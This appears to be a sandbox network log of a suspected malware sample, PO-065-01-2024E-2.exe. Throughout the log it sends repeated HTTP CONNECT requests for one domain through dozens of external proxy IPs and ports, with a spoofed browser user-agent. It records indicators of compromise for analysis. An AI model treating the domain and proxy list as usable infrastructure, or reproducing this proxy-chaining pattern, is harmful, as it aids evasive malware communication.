Mar 11, 2024 16:40:06.411318064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:18.410713911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1770	192.168.2.10	55178	91.134.140.160	11946	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.077497005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1771	192.168.2.10	55213	79.110.201.235	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.078041077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1772	192.168.2.10	53902	91.134.140.160	49042	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.083359003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.707814932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.411087990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.598489046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.910727024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.208093882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.548887014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:08.004914999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:17.098160982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1773	192.168.2.10	55217	94.131.14.66	1081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.083462000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1774	192.168.2.10	53827	85.228.43.192	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.086716890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1775	192.168.2.10	55220	8.217.95.44	8899	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.086956024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1776	192.168.2.10	55219	45.120.178.197	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.087289095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1777	192.168.2.10	55215	216.9.224.113	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.090286016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1778	192.168.2.10	53959	67.205.177.122	21108	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.092510939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.207914114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.382299900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.411303043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:18.410793066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:30.413965940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:42.413551092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:06.551346064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:54.660978079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1779	192.168.2.10	55216	177.38.5.16	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.092623949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1780	192.168.2.10	55018	98.188.47.132	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.092897892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1781	192.168.2.10	51946	212.220.13.98	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.093135118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1782	192.168.2.10	52115	67.227.186.83	56370	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.376962900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.489159107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.582932949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.584572077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:18.676343918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:30.676371098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:42.785661936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1783	192.168.2.10	53999	202.131.65.110	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.386181116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.709063053 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1784	192.168.2.10	54790	68.71.249.153	48606	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.387120962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1785	192.168.2.10	55176	217.27.149.190	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.395719051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1786	192.168.2.10	54925	72.206.181.123	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.396395922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1787	192.168.2.10	52118	177.131.29.208	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.396503925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1788	192.168.2.10	52117	185.250.27.54	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.405591011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.504527092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.543849945 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1789	192.168.2.10	55224	79.110.202.131	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.461179018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1790	192.168.2.10	55184	47.243.114.192	8180	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.461925030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1791	192.168.2.10	54503	74.118.80.244	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.462249994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1792	192.168.2.10	53967	92.205.110.118	53903	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.462694883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.489197016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.582937002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1793	192.168.2.10	54859	103.122.84.108	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.478449106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1794	192.168.2.10	54048	92.205.61.38	36073	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.526700020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.708091021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1795	192.168.2.10	52291	207.180.198.241	37443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.527185917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.707647085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.707956076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.801543951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:18.834738970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:30.910648108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:42.910621881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:07.051240921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
